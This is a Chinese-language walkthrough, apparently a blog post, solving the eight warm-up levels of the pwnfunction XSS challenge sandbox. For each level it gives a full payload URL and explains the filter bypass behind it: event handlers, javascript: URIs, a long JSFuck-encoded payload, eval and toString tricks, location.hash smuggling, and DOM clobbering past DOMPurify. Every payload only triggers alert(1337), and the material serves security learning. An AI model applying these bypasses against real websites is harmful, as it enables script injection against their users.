分享一个XSS游戏的链接
第一关：
这边有一个innerHTML属性，我们查看官方文档
我们找到了它存在的漏洞，直接利用
https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=<img src=1 onerror="alert(1337)">
第二关：
https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaa";alert(1337);"
第三关：
我第一个想到的就是
https://sandbox.pwnfunction.com/warmups/da-wey.html?wey=aaaaaa" onclick="alert(1)
用到onclick，这个没有满足不能与用户交互的要求，但是其他都符合
https://sandbox.pwnfunction.com/warmups/da-wey.html?wey=aaaaaa" onfocus="alert(1337)
用onfocus会有一点改进，但是在触发的一瞬间还是需要用户聚焦
https://sandbox.pwnfunction.com/warmups/da-wey.html?wey=aaaaaa" onfocus=alert(1337) autofocus="
这个完美符合要求，它会自动聚焦
第四关：
https://sandbox.pwnfunction.com/warmups/ricardo.html?ricardo=javascript:alert(1337)
第五关：
它对很多字符进行了过滤，跟前面第一关一样用到了inner HTML属性，所以我们往img标签想
但是它对（）进行了过滤，所以我们想给它的（）符号进行编码，但是解析的话还是会被识别，所以我们会用到location属性先将它看作是字符串等绕过了程序再进行解码
https://sandbox.pwnfunction.com/warmups/thats-hawt.html?markassbrownlee=<img src=1 onerror=location="javascript:alert%281337%29">
第六关：
它将我们的数字字母都过滤了，我们试试能不能编码绕过，由于需要经过底层js过滤（需要用到jsfuck编码），再在地址栏输入所以需要url编码
我们把拿到的jsfuck编码再进行url编码
https://sandbox.pwnfunction.com/warmups/ligma.html?balls=%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d%5b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%5d((!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(%2b%5b!%5b%5d%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b!%2b%5b%5d%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(%2b(!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b%5b%2b!%2b%5b%5d%5d))%5b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(%5b%5d%2b%5b%5d)%5b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%5d%5b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b((%2b%5b%5d)%5b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(%5b%5d%5b%5b%5d%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%2b%5b%2b!%2b%5b%5d%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d%5d(!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%5d)%2b(!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d)()((!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%5d%2b(!!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d%2b%5b%5d)%5b%2b!%2b%5b%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d%2b%5b%2b!%2b%5b%5d%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b%5b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(%5b%2b%5b%5d%5d%2b!%5b%5d%2b%5b%5d%5b(!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b(%5b!%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d)%5b%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%2b(!%5b%5d%2b%5b%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%5d%5d)%5b!%2b%5b%5d%2b!%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d)
主要是先进行jsfuck编码再进行url编码，最后完成
第七关：
所以我们就当作三个都过滤了
第一种方法：利用匿名函数加大写绕过
为什么要刚开始写成大写后面又利用source.toLowerCase()转成小写呢，因为刚开始大写是要绕过正则表达式，后面又转换成小写是因为js严格区分大小写，就算绕过了也无法执行。
https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
第二种方法：利用parseInt和tostring方法
打开控制台工具试验一下 
https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=eval(8680439..toString(30))(1337)
第三种方法：利用hash函数，hash函数后面的值不会被认为是传参，所以可以绕过
https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=eval(location.hash.slice(1))#alert(1337)
第八关：
setTimeout(ok, 2000)中的ok可以接收一个函数或者字符串，如果我们能够向ok这个变量注入可执行的payload，那么也就能成功弹框
通过向HTML注入DOM元素，来实现操作JavaScript变量首先，要构造一个变量ok，我们可以通过创建一个id=ok的DOM元素来实现，比如<div id="ok"></div>
在控制台试验一下，可以用属性值得到标签名和属性名
然后，ok需要接受一个字符串作为值，而在对<a>标签调用toString()方法时，会返回属性href的值，所以，我们可以选择<a>标签作为构造对象
href的值要遵守protocol:uri的格式，然而，在href里直接使用javascript:协议是不行的
通过查看DOMPurify的源码可以发现，它支持的合法的协议有mailto, tel, xmpp等等，随便选择一个即可，这里我就用mailto了。
https://sandbox.pwnfunction.com/warmups/ok-boomer.html?boomer=%3Ca%20id=ok%20href=mailto:alert(1337)%3E